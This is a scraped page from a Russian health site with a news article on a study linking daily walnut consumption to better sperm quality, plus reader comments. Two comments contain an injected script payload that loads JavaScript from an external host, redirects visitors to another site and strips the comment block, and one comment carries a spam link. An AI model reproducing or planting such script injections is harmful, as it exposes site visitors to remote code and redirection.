Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Грецкие орехи улучшают ка...  >>  Грецкие орехи улучшают качество спермы
 
Обратная связь
 

Грецкие орехи улучшают качество спермы

Размер шрифта
02 ноября 2016 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Американские ученые обнаружили, что ежедневное употребление 70 г грецких орехов уже через 12 недель приводит к улучшению качества спермы у здоровых молодых мужчин.

Примерно в 50% случаев причиной бесплодного брака является мужское бесплодие. Способность мужчины к участию в оплодотворении зависит от многих факторов, в т.ч. от качества его спермы. Оплодотворение возможно только в том случае, когда в половую систему женщины в период выхода яйцеклетки из яичника попадет достаточное количество здоровых, зрелых, нормально функционирующих сперматозоидов.

История вопроса

Грецкие орехи чрезвычайно богаты омега-3 жирными кислотами. Согласно данным предыдущих исследований, омега-3 и другие полиненасыщенные жирные кислоты улучшают качество спермы. Ранее было доказано, что рыбий жир с высоким содержанием омега-3 жирных кислот позволяет улучшить качество спермы.

Суть исследования

В исследовании приняли участие 117 мужчин в возрасте от 21 года до 35 лет, которые придерживались традиционного западного питания. Половина мужчин съедала в день по 70 г грецких орехов, а остальные мужчины питались обычной пищей, но должны были исключить из своего рациона орехи.

Анализ качества спермы проводился до начала исследования и после его окончания. При анализе учитывались такие характеристики, как количество сперматозоидов, их жизнеспособность, подвижность, форма, размер, а также наличие хромосомных мутаций.

Результаты

Через 12 недель от начала исследования качество спермы улучшилось только у мужчин, которые ели грецкие орехи. Кроме того, наиболее выраженное улучшение наблюдалось у мужчин с самым низким качеством спермы на момент начала исследования.

Полученные результаты свидетельствуют о том, что перед зачатием мужчина должен уделять больше внимания своему пищевому рациону. Продукты питания оказывают существенное влияние на способность мужчины к оплодотворению.

В дальнейшем ученые должны установить оптимальное количество грецких орехов, которое необходимо мужчине для улучшения качества спермы.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Мандаринка

15 октября 2012 в 13:56

Цитировать   |   Пожаловаться

Это женщи на должна знать, чем своего мужчину кормить. Рыбку ему, сельдерейчик, теперь и  грецкие орешки.

2 - zzzzzz

30 июня 2015 в 21:31

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 23:36

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

4 - Гость

03 декабря 2016 в 21:31

Цитировать   |   Пожаловаться

Да и поэтому женщины читают подобные статьи http://oprostate.com/ и направляют мужчин))

Статьи

       
Playboy отказался от голых девушек! Как порно влияет на мозг   Настоящий мужчина всегда говорит правду   Обрезание снижает риск развития инфекций   Как решить важные мужские проблемы и всегда быть в силе?  
30 августа 2012Грецкие орехи улучшают качество спермы! 22 февраля 2013Настоящий мужчина всегда говорит правду
 
12 сентября 2012Обрезание снижает риск развития инфекций! 09 ноября 2012Кастрация продлевает жизнь
 

Слайдшоу

1
Лучшая еда для мужчин. Часть 2
Самая лучшая еда для похудения, сердца и против рака
Еда, вызывающая головную боль

Тесты

1
Яички – удивительный орган
Здорова ли ваша предстательная железа
Будет ли у вас инфаркт?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.